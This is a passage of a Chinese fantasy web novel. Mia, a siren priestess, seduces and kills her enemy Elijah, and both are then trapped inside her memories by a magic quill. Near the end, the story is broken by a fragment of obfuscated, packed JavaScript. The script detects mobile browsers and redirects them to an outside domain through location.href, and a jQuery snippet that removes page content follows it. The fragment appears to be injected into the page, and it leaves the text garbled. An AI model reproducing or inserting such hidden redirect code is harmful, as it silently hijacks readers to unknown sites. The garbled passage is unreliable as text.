还以为自己早不在意这些了,可是为什么,会有一滴泪从眼角滑落。 “米娅,等我回来。” 突然冒出来的话语,明明听不清,她却能准确分辨出内容,又是那个人,他在自己的生命中消失了这么久,为什么偏偏要在这个时候—— 阴魂不散。 是你先食言的,米娅在心底低语。 很快,她也无暇顾及这些情绪了。 她一直等待的机会,终于来了。 “以利亚。”轻吟的柔媚声音带着淡淡的哭腔,分不清是因为那一滴泪,还是如疾风骤雨般的冲击,她在喘息的空档唤他的名字,抬起手臂抚上他的脸颊。 指尖传来湿滑的触感,原来他也会流汗吗。 “今晚在舞会上……我发现……嗯……我好像……哈……真的有点儿……喜欢你了……” 这是真话,所以她更加痛苦。 男人的动作一顿,背对着月光被阴影覆盖的脸上眼眸很亮,米娅看见了他眼中震惊的神色。 嘴角微勾,一个颠倒众生的笑容出现在她脸上。 她迎了上去,吻住他的唇。 她咬破了舌尖,血珠从猩红滑湿的舌尖冒了出来,铁锈的味道顺着喉咙滑了下去,只留下一点儿,与香津混合在一起。 她微微张开双唇,试探性地用舌尖去触碰他的嘴唇,细微到看不见的伤口传来一阵刺痛。 计划很成功,男人的吻终于彻底脱去了克制的外衣,不再满足于浅尝辄止,顺着她微微张开的红唇继续深入,唇齿后的柔软交织缠绵。 那一点点血液,自她的舌尖渡到他的舌尖。 清幽的夜晚,只有窗外的明月照耀着这个狂乱的角落。 35. 抉择(十) 米娅醒过来的时候,月亮已经躲进云层里,天空还是一片漆黑,远处的海平面却泛起了一点儿白。 金色边框的时钟挂在墙上,黑色指针一刻不停地转动着,但没有嘀嗒嘀嗒的声音响个不停。 时钟显示,现在是凌晨五点。 夏日渐近,赫尔西岛的天亮得越来越早,她仿佛已经能够听到远处的城区里逐渐醒来的人们打哈欠的声音。 竟然已经五点了。 睡眠于她而言只是微不足道的调剂,可是她竟然睡到了这个时候,是因为身心俱疲吗? 她伸出舌头,舔了一下嘴唇,舌尖的刺痛像是被无数针扎过一样,仔细去感受之时,舌尖轻轻抵在贝齿上,细小的伤口格外明显。 有点儿肿起来了。 两人的荒唐一直持续了很久,在她说出了那句违心的真话之后,男人明显受到了触动,他不再克制,一次又一次,仿佛不知疲倦。 米娅乐见其成,她迎合他,一次又一次将自己的血渡给他,海妖的血能够抑制渡水者的力量,她身为祭司,鲜血的效力更强。 如果是普通的渡水者,也许一滴就够了,可是因为是他,她不得不谨慎再谨慎,小心翼翼地达成目的。 她的身体很累,心更累,空洞与荒芜填满了她的内心,因此造成了更大的空虚,在那个过程中,她不止一次想要逃离。 推开他,离开这里! 心中的声音在呐喊,她听的清清楚楚,却无法做出回应。 复仇的信念已变成了执念,她若是放弃了,如何回去奥修斯岛,面对那一双双期待的眼睛呢。 最后,这个声音连同舞会上那个裙摆飞扬的自己,都被她抛在了脑后。 米娅从床上坐了起来,天鹅绒的被子从身上滑落,赤裸的肌肤上满是暧昧的痕迹。 心念一动,那些痕迹就像酒杯上的口红,轻轻一擦,就消失不见了。 背后传来另一个人绵长的呼吸声,她没有回头,看了一眼地上皱得不成样子的长裙,没有了月光,钻石也失去了光彩。 就那么静静躺着,完成了它的使命。 可惜了这一番设计。 米娅赤足走到了衣柜前,没有光亮,却不妨碍她将这间屋子的一切看得清清楚楚,梳妆台就在衣柜旁边,一个小皮箱卡在两者中间。 是她唯一的行李,其中大部分是衣服之类的,早就被拿出来放在了衣柜中,现在里面只剩了一些无足轻重的小玩意。 她打开皮箱,里面有一面镜子,两封书信,分别是名为约翰的海妖猎人写给自己妻子的信和凯勒写给米娅的信。 提前准备好的证物,不过没派上用场。 米娅捏着第一封信,手指摩挲着信件的落款处,在整个事件中,好像没人在意过她所谓的丈夫的名字,要不是现在看着这封信,连她自己都快忘了。 一个很常见的名字。 米娅放下信,从衣柜里找了一套不起眼的衣服套上,将小盒子塞进兜里,深吸一口气,终于转过身去,看向了床上熟睡的人影。 余光再次瞥到地上的长裙,她想起了它的名字。 海妖之歌。 米娅笑了,真正的海妖之歌,只有在此刻才能听到。 一连串旋律从微张的红唇中飘荡出来,音符仿佛化为了实体,围绕着这间空旷的卧房,迈动着轻快的步伐。 米娅缓缓走了过去,每一步都像踏在水面上,透明的波纹一层层荡开,托起莹白的脚尖。 沉睡中的男人皱着眉,当歌声响起之时,他的眉峰微动,眼皮几乎就要张开,可是随着歌声越来越清晰,从随意的轻哼变为流淌的泉水,安宁出现在他的脸上。 舒展的眉眼,宁静的嘴角,那是连米娅也从未见过的神情。 米娅坐到床边,抚上他的嘴角,凝神看着他。 这么一看,倒也没有那么讨厌了。 她按在他的嘴唇上,温热的,就是这双薄唇,吻过她的身体。 素白的手指慢慢向下,如他曾经做过的那样,勾去覆盖在身上被子,男人赤裸的胸膛在她面前显露出来。 一条淡粉色的抓痕映入眼帘,米娅愣了一下,那是她实在承受不住时警告他的痕迹,没什么效果。 指尖轻点在他的左胸,像是调情。 只有她自己知道,内心的拉扯越来越强烈,她轻轻地唤他,像是最后的告别,“以利亚……” 米娅闭上了眼睛,将整个手掌都放了上去,微弱的心跳随着胸口的起伏传递到掌心。 没有人回应她,巨大的阴影出现在她的背部,将她以及身旁陷入沉睡的男人都笼罩在其中,那是她的羽翼。 修长的手指也在发生着变化,指节弯曲拉长,指甲慢慢变长变尖,深深地陷入了男人血肉之中。 米娅长叹一口气,缓缓睁开了蔚蓝色的眼眸。 她再度看向了男人沉静的睡颜,眸中的不舍一扫而空,人类的身躯不仅脆弱,而且多愁善感,让她难以捉摸。 否则,她怎么会对仇人产生复杂的感情,甚至险些下不去手。 好在,今日将赫尔西岛上的事情完结,她就可以彻底舍弃那没用的变化了。 眼眸闪着微光,比繁星还璀璨,米娅咬了咬牙,只属于海妖的利爪颤抖着撕破血肉与白骨,按进了男人的胸膛里。 心跳声骤然停止,就像年久失修的钟表停止了转动。 是她按住了那颗蠕动的心脏,然后,将它扯了出来。 浓郁的血气充斥在鼻腔,几欲令人呕吐。 连最后蠕动也停止了,掌心的那颗心脏,与一般的心脏别无二致,在她的注视下,化为了粉末。 她——成功了吗? 米娅急欲确认,眼前却蒙上了一层血雾,她想要擦去,脸上却感到了一片冰凉,原来不是雾气,是她的眼泪在眸中积蓄,然后流了下来。 明明都已经恢复了海妖的本性,为什么还会哭。 一定是喜极而泣。 她揉了揉眼睛,这回终于看清了,男人始终不变的表情,慢慢变得苍白的脸色,以及左胸那个漆黑的洞口。 她成功了。 顺利得让她害怕。 不知为何,看着他这副毫无生机的模样,她的心似乎也被掏了出来,胸口空落落的,再多看一眼,痛苦就增加一分。 米娅跌跌撞撞地离开了,像逃跑似的。 原计划里,她应该打碎玻璃,从窗户飞出去,在月影的笼罩下,离开赫尔西岛,回到无尽海之中。 可是在四楼看到那支笔之后,她改变了主意。 在并不遥远的过去,她曾在女巫的口中听说过一件神器,一支由记忆之神的灵魂碎片化作的羽毛笔,能存储记忆,也能重现记忆。 她还以为那只是臆想出来的传说,没想到在赫特高塔上,竟然见到了一支与传说极其相似的羽毛笔。 如果真的是它,那她需要它。 难道这才是神谕的真正含义?只有进入高塔之中,她才有可能拿到这支羽毛笔。 她逼迫自己去思考其中的可能性,忘掉身后的一切。 米娅来到四楼的走廊上,也许是因为心乱,也许是因为太久没运用过这些力量,她有些力不从心,本该无声的动作,却在走廊的地板上留下了一声闷响。 好在这是一个特殊的夜晚与凌晨,赫特高塔中没有别人,她无需花费额外的力 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羽毛笔飞到更高的地方,收缩起来的羽毛舒展开,左右摆了摆,仿佛在嘲笑她没抓稳。 米娅抬起手臂,细微的光点从指尖亮起,凝成一条彩色的绸带,向着羽毛笔的方向飞了过去,在它再度溜走之前,以闪电般的速度将它缠绕。 笔端摇来晃去,剧烈地挣扎,可是羽毛被束缚,它就像被拔了毛的凤凰,一点儿也挣脱不了。 米娅隔着绸带握住了它,它瞬间跟蔫了似的,直挺挺地颤抖一下,不动了,好像一下子就变回了一根再普通不过的羽毛笔。 这真的会是神器吗,怎么感觉,跟喜欢恶作剧的小孩子似的。 米娅出神地想着,正要将笔收好,突然听到了吱呀的一声。 是门开的声音。 什么人? 这个时候,难道也是觊觎赫特高塔的外人? 她的耳朵竖了起来,呼吸放轻,轻手轻脚地往一排排架子的方向走去,左手握住羽毛笔,右手暗暗蓄力。 架子旁边出现了一道拉长的黑影,是人的轮廓。 是人就好办,以利亚已死,在这赫尔西岛上,没人再是她的对手。 黑影越来越近,就在她身前的架子后面,只要一个转身,他们就能面对面四目相对,呼吸声也从架子后面传了过来,急促而破碎,莫名有些熟悉。 这个声音! 蔚蓝色的眸子极速收缩,米娅快步绕过架子,看到了影子的真容。 银色的长发,俊美而苍白的脸庞,冷漠的眼神。 刚刚被她杀死的人,活生生地出现在了她的面前。 怎么会—— 米娅骇然后退,只要是奥维伊群岛中的生物,失去了心脏都会面临死亡,谁也不例外。 哪怕他是以利亚赫尔西,也不可能—— “放开它!” 男人的眼神是前所未有的冰冷,他的声音很低,仿佛忍受着巨大的痛苦,一只手扶着架子,一只手一直捂在胸口的位置。 那里如今被衣服包裹住了,米娅没有透视的本领,看不见里面的状况,可是看他的样子,自己在五楼的举动并不是幻觉。 她的的确确扯出了他的心脏。 可是他又的的确确活了过来。 难道他是不死的? 这世上,真的有不死的人类吗? 米娅没空细想,因为就在男人出声的一瞬,手中的羽毛笔突然活了过来,笔端变幻出一张长满尖牙的利口,弯“腰”狠狠咬在她的手腕上。 鲜血四溅,还没感觉到痛楚,她就晕了过去。 36. 入梦(一) 温柔的海水环绕着她。 很像小的时候,被长辈抱在怀里的感觉。 又像更久远的时候,她还未曾出生,作为一颗生命之树的果实挂在树枝上,被羊水一样的液体包裹着。 后来,越来越锋利的羽翼划破了晶莹剔透的“果皮”,她落到长满鲜花的草地上,花瓣比云朵还要轻柔,托住了娇嫩的后背。 鼻头微皱,熟悉又陌生的香气,是紫因花的花香。 只生长在奥修斯岛的紫因花香气清新淡雅,是米娅从小闻到大的花香,但是自奥修斯岛沉入海底之后,紫因花花瓣尽皆闭合,似乎是在抵御海水的侵蚀。 她已经许久没有闻到过了,有些怀念。 现在也只有在梦中才得以忆起。 她又在做梦了吗,不知道这个梦,又有什么含义? “米娅姐姐……米娅姐姐……米娅!” 稚嫩的声音由远及近,不停地呼唤,语气中渐渐带上了不耐烦的态度。 米娅像是被包裹在壳里,她听见了这个声音,但声音就像从很远的地方传过来的一样,有什么东西隔开了她们。 脑袋嗡嗡作响,眼前亦是一片黑暗。 哗啦一声,眼前白光大盛,似一把利剑将壳划开,稚嫩的声音瞬间变得清晰起来,在她的耳畔响起。 “米娅姐姐,快醒醒!” 中气十足的一声,差点儿将她的耳膜都震破了。 跟声音一起的,还有一个小小的身躯,直接砸进了她的怀里。 这下想不醒都不行了。 米娅在剧烈的咳嗽声中睁开了眼睛,胸口被砸得生疼,她一下子拎起了身上的小小身影,拽着她柔软的翅膀,将她丢到了旁边。 这梦也太真实了。 她和地上的小小身影四目相对,大眼瞪小眼。 大概约等于人类小孩六七岁左右的青涩面容,圆圆的眼睛,肉肉的脸蛋,因生气而嘟起的小小的嘴。 胖嘟嘟的,明明是相似的面容,却完全想象不出长大后苗条俏丽的模样。 这好像是个梦,因为眼前小小的海妖她认得,是小时候的尤妮,但是她的印象中还有尤妮长大后的模样。 她是梦到了多年前的事情吗,可是她忘记了入梦之前自己在做什么。 尤妮很生气,自己到处找她,没想到她居然在这里睡懒觉,而且还把自己丢开,她还是对自己最好的米娅姐姐吗。 眼中蓄起泪水,小孩子的情绪来得就是这么快,可是当她看到米娅苍白茫然的神情时,立刻就忘记了自己的委屈,担忧地爬过去,凑到她面前问:“米娅姐姐,你怎么了,脸色这么差,还在想那件事吗?” 小孩子的情绪同样变得也很快。 “我没事。” 米娅揉了揉太阳穴,她有些分不清了,究竟脑海中尤妮长大后的模样是在梦中见到,还是现在小时候的她是梦? “你怎么过来了?” 还是再看看吧,可恶,到底发生了什么,为什么她一回想,脑袋就疼得不行。 “真的没事吗?” “没事。” 得到了肯定的回答,小尤妮脸上的担忧总算消失了,嫩藕一般的手臂往脑袋后面一抓,摸出来两条整整齐齐的麻花辫。 她像献宝一样,将辫子举到米娅面前,笑得羞涩,“米娅姐姐,你看,我的新发型,好看吗?” 又黑又亮的头发被编成两股辫子,从耳后绕到胸前,将可爱的小脸衬得更加立体漂亮,辫子的尾部被黑色的橡皮筋绑着,各自还插着一朵淡黄色的小花。 海妖习惯了将头发披散在肩上,有这般巧手的不多,米娅脑海中闪过几个名字,起身笑着摸了摸她的头,“很好看。” 小尤妮灵巧的一躲,“哎呀,米娅姐姐,你不要把我的头发弄乱了,人家好不容易说动他给我绑的。” “好不容易说动?尤妮这么乖,大家不是应该抢着想帮你绑头发吗?是谁给你绑的?”米娅取笑她。 尤妮小脸红扑扑的,“就是你救回来的那个人类哥哥呀。” 救回来? 人类? 哥哥? 好陌生的词汇,米娅很想反驳,她怎么会救人类,但这念头刚起又觉得不对,她反倒想问自己,她为什么不会救人类? 米娅的头又疼了起来,眼皮一跳一跳,心也跟着扑通乱跳。 勉强定住心神,她牵起尤妮的小手,“这个人类哥哥在哪里,带我去见他。” 尤妮没动,大大的眼珠转来转去,一副心虚的模样,“咳咳,我说了你别生气,他就在外面等着。” 米娅低头,看着她躲闪的目光,无奈道:“你带他过来的?好不容易说动,该不会指的就是这个吧,他给你编辫子,你直接把他带到了我的家门口。” “不……不止……我突然想起来,我还有事,先走了。” 小小的海妖一下挣脱了她的手,撞开布帘做的门,一溜烟跑没影了。 米娅赶紧追出去,对着那灵活的身影叫道:“你跑什么,我又没说要怪你。” 这时,她感觉到一到视线落在自己的身上,很熟悉的感觉,从侧边传来。 应该是尤妮口中那个人类了。 她转过身,冷冷地看了过去,人类竟也敢跑到奥修斯岛上来,真是活得不耐烦了。 人类站在不远处的花海中,遮天蔽日的生命之树垂下紫色的枝条,比人类的手臂还粗,修长的身影望过来,枝条上透明的叶片落到他银色的长发上。 看清男人的脸的一瞬间,尖锐的爆鸣在脑海中炸开。 米娅捂住耳朵蹲了下来,眼前闪过了一幕幕的场景。 在她无声的歌唱中,两个男人殊死搏斗,表情狰狞如野兽,满身都是伤痕和鲜血。 长大后的尤妮满脸恨意地飞在空中,划破她的腹部。 一个浑身散发着冷漠气息的男人搂着她的腰,低头亲吻她的锁骨。 还是那个男人,将她压在身下,汗水从他鬓角滴落。 最后是,她扯出了那个男人的心脏,亲手杀死了他。 米娅慢慢站了起来,虽然头疼得快要裂开,但她终于还是想起来了,有关海妖捕杀令,有关她的复仇计划。 以及最后那一幕,神秘的羽毛笔狠狠咬了她一口,伤口处流出的鲜血被它吸了个干干净净,而被她杀死的男人虚弱地走过来,将长满利齿的嘴摁了回去。 然后呢? 然后她就晕了过去,再醒过来时,竟然回到了奥修斯岛的家中。 现在她可以确定了,她就是在梦中,或者说,她在自己的回忆之中。 是那支羽毛笔做得好事! 她也想起来了,回忆中的这个时刻。 奥维伊群岛历一九九年,离海妖捕杀令下达还有五年的时间,海妖和人类仍能和平相处的时刻。 这一年的她还对人类抱有强烈的好奇心,听说有人类的船只迷航进入了无尽海,好奇地飞过去看热闹,结果正好撞见人类的船只卷进了风暴中心。 看似坚固的船身比纸还脆,碎裂的木块像雨一样掉落到海面上。 鲜血瞬间染红了大片海面,米娅头一次见识到,原来人类的身躯是这么的脆弱。 海妖无法影响无尽海的风暴,无论怎么扇动羽翼,她都无法令卷起船只的风暴停止,她干脆从云层之后俯冲而下,试图接住落下去的人,可是他们几乎在风暴来临的一瞬间就已经失去了生命,甚至连尖叫声也发不出来。 看着一具具失去生机的躯壳,她失魂落魄地回到了奥修斯岛。 悲剧在自己面前发生却改变不了,她体会到了深深的无力感。 她消沉了好几天。 那时她还不知道,以后还有更多无能为力的事情。 终究她不是神明,只是一只海妖。 然后,出于某种自己也想不通的心理,她又一次来到了沉船的地方。 人类的尸体或是沉入了海底,或是被鲨鱼分食,她到的时候,鲨鱼正在海面之下逡巡,鱼鳍伸出水面,围绕着一块漂浮在海上的木板转圈。 米娅就是在这时,看到了那个人。 他仰面躺在木板上,身上穿着水手的衣服,一只手臂搭在眼睛上,似乎是在遮挡炽烈的阳光。 一开始,米娅以为他已经死了。 依她前几天所见,那艘船上不会有人幸存,就算当时没死,这么几天漂泊在充满危险的海域,也活不下去。 米娅停在半空中,投下的影子正好落到他的身上,他察觉到了,拿开手臂,一双深邃的眼眸惊讶地看着她。 “竟然真的能看见海妖。” 米娅飞了下去。 鲨鱼感觉到她的到来,转身恶作剧般摆了一下尾巴,浪花高高溅起,将木板上的人淋了个浑身湿透。 木板上的男人无奈地坐了起来,抹去脸上的水 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说得好像是有点儿道理,于是她决定抱他回去,横抱的方式,以前尤妮还飞不高的时候,她就是这么抱她的。 结果男人依旧不乐意,“海妖小姐,不行。” 米娅怒了。 “这也不行,那也不行,你到底要怎么样!还有,不准叫我海妖小姐,好奇怪的称呼。” 后一句才是重点。 男人也不负期待抓住了重点。 “那叫你什么?” “叫我米娅,米娅是我的名字。” “好。”男人立刻就改了口,那叫一个从善如流,“米娅。” 最后,她还是把他抱回去了,但不是以横抱的方式,而是抱着他的腰,男人比她高不少,看起来都分不清究竟是谁在出力气。 现在想来,男人屡次拒绝,其实原因只有一个,不让自己看起来太丢脸,都成这副样子,还在意面子,真是的。 在漫长的岁月里,米娅早就忘了这些细节,她只记得她在无尽海中救了一个沉船的人类,将人类带回了奥修斯岛。 原来他们之间还发生过如此有趣的对话。 更重要的是,他们在天空中飞翔之时,还有一番对话。 “上岛之前,我得先问清楚,你叫什么,是什么人,从哪里来,要到哪里去,不说的话,我就把你扔下去,还有,如果你说谎了,我也看得出来,别想骗我,骗我也把你扔下去。” 她恶狠狠地警告他,自认为表情看起来相当凶恶,男人却笑了起来,一点儿害怕的表情也没露出来。 不过他还是老老实实地回答了。 “约翰,我的名字,身份你应该看得出来,一个水手罢了,从玛丽亚联盟来,准备去布里斯帝国的南部,计划下一站在赫尔西岛停靠,不过现在船没了,我的家当都在船上,同伴也都死了,我也不知道要去哪儿了。” 米娅仔细观察着他,遗憾地发现,他好像真的没说谎。 “你的家人呢,你不去找他们吗?” 海妖没有家人这个概念,又或者说所有的海妖都是家人,但她偶尔会翻看一些人类的书籍,知道对于人类来说,家人是非常重要的。 男人的神情忽然低落起来,“我孤身一人漂泊,没有家人。” “啊……对不起。” 米娅有点儿同情他了,这人也太惨了,还好遇到了自己,不然真就孤零零地死在大海上,连个记得的人都没有。 “那你可以先住在奥修斯岛上,我会去跟祭司说明的,等你想到去处了,我再送你出去。” “多谢海妖小姐……不对,米娅。” 米娅终于记起了他的名字,虽然他的面容仍然隔着一层雾气,但能够想起初遇时的情景,已经是莫大的惊喜。 这就是神器的威力吗? 后面的事情,也顺理成章。 老祭司答应了请求,并且将一间无人居住的空屋暂且让男人住下,那间屋子紧邻米娅的房子,在一片小山坡上。 从梦中的时间点来看,那不过是昨天的事情。 她近来很是忙碌,将男人带回岛上之后,没空再理会他。 直到夜晚沉沉睡去之后,被尤妮砸醒。 也是这片回忆的开头。 看起来,这场梦的中心是她年少时的过往。 可是为什么,以利亚会出现在这里? 37. 入梦(二) 他不仅没死,还跑进了自己的回忆里。 看到他的一瞬间,米娅真不知道是该心头一紧,还是松一口气。 【你为什么还活着?】 她忍不住问了出来,话音刚落,她就察觉到了不对劲,她明明听到了自己的声音,甚至那惊讶又不甘的语气是如此的惟妙惟肖,可是她连嘴都没张。 不过很快她就发现了,原来那个声音是从她心里响起来的,而不是从喉咙里。 那只是她没有说出口的心声。 也是在这个时候,一个更可怕的发现完全吸引了她,盖住了再次见到以利亚的惊讶。 她想直接将这话说出来,却没有办法张口,甚至连张口的力气都使不上。 就好像—— 就好像这具身体不是她在使用,她只是被困于其中的一个灵魂。 【倒还不笨。】 男人的声音,直接从她心底响起。 是以利亚的声音,她绝不会听错,冷淡又讽刺。 【原来你是这么看我的。】 声音再次响了起来。 【你……你能听见我的心声?!】 不远处的男人向她走了过来,稍显苍白的嘴唇紧闭着,他也没有说话,至少没有通过喉咙说话,可是他的声音同样传入了自己的心底。 男人脸上带着微笑,是那种很温柔的笑容,可是出现在以利亚的脸上,米娅瞧见只跟见了鬼一样。 实在是太诡异了。 男人走到她的面前,低声轻唤她的名字,“米娅,我是来感谢你的,谢谢你救了我。” 这回是从喉咙里发出的声音了,声音也很温柔,带着浓浓的笑意,米娅听到自己的声音从喉咙里发出来,不受她的控制,“不用谢我,再怎么样,我也不能看着你死在我面前。” 男人笑了笑,像是想起了什么,笑容有几分促狭,“其实,你不救我,我也不会死。” 她不信,“开什么玩笑,你没看见鲨鱼就在旁边虎视眈眈吗,不怕它把你嚼碎了吞进肚子里啊。” 男人眼中甚至产生了好奇,“如果真的被鲨鱼吞进肚子里,我会死吗?” “肯定会呀。”米娅奇怪地看着他,心里正在好奇,他怎么会有这种疑问,这根本就不该是疑问好吧。 看着气氛还算融洽,但在内心深处,同样是他们,已经快吵起来了。 【我也不想听见。】 【那你不要再听了!】 【你以为我想吗?如果不是你非要去碰那支笔,我们也不会被困在回忆里。】 【回忆?果然是那支羽毛笔搞的鬼,这到底是怎么一回事?我们该怎么出去?】 【这么多问题,你想让我回答哪一个?】 【所有,一个一个说。】 【呵,我为什么要回答一个杀了我的人……海妖的问题?】 【你这不是没死吗,我亲眼看见你站在我面前,一个失去了心脏的人,怎么又活过来了,我还纳闷呢。】 得嘞,绕了半天,又绕回来了。 心底的交锋除了他们无人察觉,另外一边的木偶戏还在继续,米娅眼睁睁看着自己主动提议要带以利亚去转一圈奥修斯岛,熟悉熟悉环境。 她只能绝望地在心底大叫,你在干什么,他是你的仇人,快醒醒。 【你错了,他不是你的仇人。】 心底,以利亚的声音沉寂了一会儿,在这时又突兀地响了起来。 米娅更绝望了,她竟然忘了,这边还有个能听到她心声的男人。 真是不公平,凭什么他什么都能听到,自己却只能听到他想让自己听到的话。 有人能听到自己的心声,简直是世界上最恐怖的事,就跟脱光了衣服在人前奔跑一样。 以利亚发出一声轻笑。 【你脱光了衣服的样子我又不是没见过。】 【……】 某些画面在米娅脑海里闪过,由这句叫人羞耻的话勾起了一些不堪的回忆,那些刚刚过去的,令人脸红心跳的场景。 她这次感觉到了,以利亚也正想着这些画面,她也窥到了他内心的一角,看到了从他的视角的自己,像妖精一样娇媚动人。 她还感觉到了他的欲望。 【能不能要点儿脸,都什么时候了,还想着床上的事。】 对方丝毫不慌。 【你不是也在想?】 【还不是你先提起来的!】 对方的语气莫名轻松了起来。 【我以前倒没发现,你还挺会抬杠?】 此前在赫尔西岛上,为了取得他的信任,争辩只是她用来隐藏身份和调情的手段,她将分寸把握得很好,该硬气的时候硬气,该服软的时候服软。 但本质上,米娅出生起就注定了是下一任祭司,由老祭司亲自抚养,从小众星捧月地长大,同样骄傲强势。 【你没发现的多了。】 熟悉的环境令她放松,想到什么就说什么,但和仇人困在所谓的“记忆”里又让她心烦。 极端的放松与紧张之下,理智、沉着、稳重全都烧成了灰。 以利亚忽然沉默了下来。 这样的她显然更加鲜活真实,但这并不是他第一次看见,在面对塞奇时,她也曾展现过,只是一见到自己,便戴上了面具。 外面的一人一妖走到了生命之树的树干处,一只陌生的海妖从树枝上跳下来,上下打量了一眼以利亚,面露不屑,“米娅,这就是你救回来的人类么,看着也太弱小了,他这头发怎么回事,一个男人,怎么留这么长的头发,跟女人似的。” 是个男性海妖,那神态,那表情,看来是米娅的追求者,不过海妖会有伴侣一说吗? 她肯用身体为饵诱杀他,是否并不在意露水姻缘。 阴暗的想法自心底滋生,失控般茁壮成长,眼前这只海妖,会是她的裙下之臣吗? 米娅再度感受到了他的心情,压抑得快要喘不过气,可她还是无法完整听见他的心声,只来得及抓住最后的几个字。 裙下之臣? 米娅黑了脸,在心里和在面上。 她对挡在自己面前的男性海妖说:“迪伦,不得无礼。” 同一时刻,她在心里对另一个男人说:【以利亚,你到底在想些什么,这个时候我还没有成年!】 在海妖一族之中,未成年的海妖是绝对禁止做某些事情的。 【现在没有,以后呢?】 男人问得太过理直气壮,她差点儿要以为,她没有在高塔中对他动手,他们还是一对看起来恩爱的情人。 她这回是真的生气了,【以后怎么样,跟你有什么关系吗?】 【你忘了你说过的话了?】 米娅想说,我说过的话多了,谁知道你指的是哪一句,可得益于他们现在心声相连,她竟然第一时间理解了他说的是哪一句。 我好像……真的有点儿喜欢你了。 米娅讽刺道:【骗你的你也信,要不是为了杀你,我一点儿也不想靠近你。】 死一般的沉寂,她以为他会愤怒,或是讽刺回来,可是只有死一般的沉寂,他的心声彻底消失了。 米娅慌了一瞬。 察觉到自己慌了更令她慌乱。 她强迫自己将注意力放回外界。 她看向身侧顶着以利亚的脸的人类,她知道他们之后会成为恋人,他会将她抛弃,却忘了是怎么走到这一步的。 也许这“梦魇”并不全是坏处。 “米娅姐姐说的对。” 尤妮不知道从哪儿蹦了出来,站在人类面前,一副保护的姿态,“你不准欺负……人类哥哥,人类哥哥你叫什么来着,尤妮没记住。” “约翰。” “咳咳。”尤妮郑重地清了清嗓子,对着那男性海妖又重复了一遍,“迪伦,你不准欺负约翰哥哥。” 名叫迪伦的男性海妖白了她一眼,“给你编个辫子就把你收买了?要是再给你一颗糖,是不是能把你拐跑了?” 尤妮到底只是个小孩子,面对大人的讽刺,不知道该怎么反驳,眼珠溜溜转,急得快要哭出来了。 不过她还有杀手锏,那就是—— “米娅姐姐。”尤妮委屈地看向米娅,小嘴一瘪,“他欺负我!” “迪伦——” 她拉长了声音,警告的眼神瞥向迪伦,示意他不要再多嘴。 “行吧,我不多说了。”迪伦耸耸肩,看起来并不服气,米娅既然已经开口,他还能再说什么。 恭敬地向米娅行了个道别礼,海妖正要转身离去,面上不甘神色却越来越深,他狠狠瞪了一眼人类,没控制住脾气,最后还是扔下了一句话,“不行,我一定要提醒你们,人类不可信,尤其是这个人。” 说罢,羽翼展开,飞入茂密的枝叶之间,失去了踪影。 明目张胆的挑衅,人类却完全不在意,脸上的笑容不变,只是低头摸了摸尤妮的头,“谢谢你,小尤妮。” 尤妮这回又装成大人模样,安慰他,“约翰哥哥你别听迪伦瞎说,我可喜欢你的头发了,长长的,又黑又亮,我长大了,也想有这样的头发。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976913|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >米娅笑她,“你怎么总是想着头发的事。” 外面欢声笑语,里面米娅却是隐约察觉到不对。 【黑发?】 她心底的自言自语,终于引得以利亚再次开口。 【她们都是回忆中的人,说的话也是回忆中早就已经确定了的话,不会因为我的意外介入而改变,在他们的眼中,这个……约翰,并不是我的模样。】 米娅本来不想理他,偏偏这次他说的内容跟这个回忆世界的运行规则有关,她不得不追问,【也就是说,只有我看到的是你,为什么?】 以利亚的声音有些冷,但和以前他给人的感觉不一样,以前的冷,更多的是一种冷漠,而现在,却多了许多情绪波动,【因为我是被你牵连进来的,也许那支笔觉得,一定要在这个回忆里给我也安排个角色?但它既然掌控着回忆,自然不能随便在回忆里加一个不该存在的人,只能选一个最合适的人选,由我来替换了。】 【真是的,为什么刚好替换的是他。】 米娅不由得抱怨,依然只是她的自言自语,依然被以利亚听见了。 【谁让你的这段回忆里,只有这么一个人类呢,约翰,真是个普通的名字。米娅,知道你是海妖的时候,我还以为什么亡夫是你编造出来的,没想到竟然是真的。】 亡夫当然是编造出来的,事实上,那个时候,她早就忘了人类的名字,约翰这个名字,也是某一天突然冒出来的。 她没有想到,原来是因为自己内心深处始终忘不了那个人,才会在自己也没意识到的情况,又使用了他的名字。 但这些,她又何必解释给以利亚听。 但是以利亚还是“听”到了,他嘲讽她:【你还挺痴情。】 米娅更懒得理会他了。 外面,尤妮走了,又路过几只海妖与米娅打招呼,她们对人类没有敌意,只展现出了好奇,她们离开后,米娅和约翰的对话仍在继续。 人类抬头看向生命之树遮天蔽日的树冠,“米娅,我看她们似乎对你很恭敬,你在海妖之中地位很高?” 美丽的海妖少女脸上露出了骄傲的神情,挺起胸膛,“你已经见过祭司大人了,应该知道,祭司是海妖一族的首领,而我就是下一任祭司。” 她以自己的身份为傲。 人类微讶,“你是祭司大人的女儿,还是孙女?” 少女扬起下巴,不屑道:“我们海妖才和你们人类不同呢,我们选择祭司,只看神语的修习程度,你跟我过来。” 树干很粗,绕着树干走上一圈都要走很久,米娅带着人类绕到了树干的另一面,一汪池塘出现了他们面前。 乳白色的池水发着圣洁的白光,观之使人宁静。 池边落满了生命之树紫色的叶子,但池水表面却干干净净,仿佛有什么魔力,隔开了外物。 看到池水,人类感到了一种难以言喻的痛苦,仿佛是两种截然不同的力量在身体中对抗,冲击的余波几乎要将他淹没。 米娅没注意到人类的异样,她将手伸进池水之中,直到池水淹没到细白的手腕,然后又将手拿了出来。 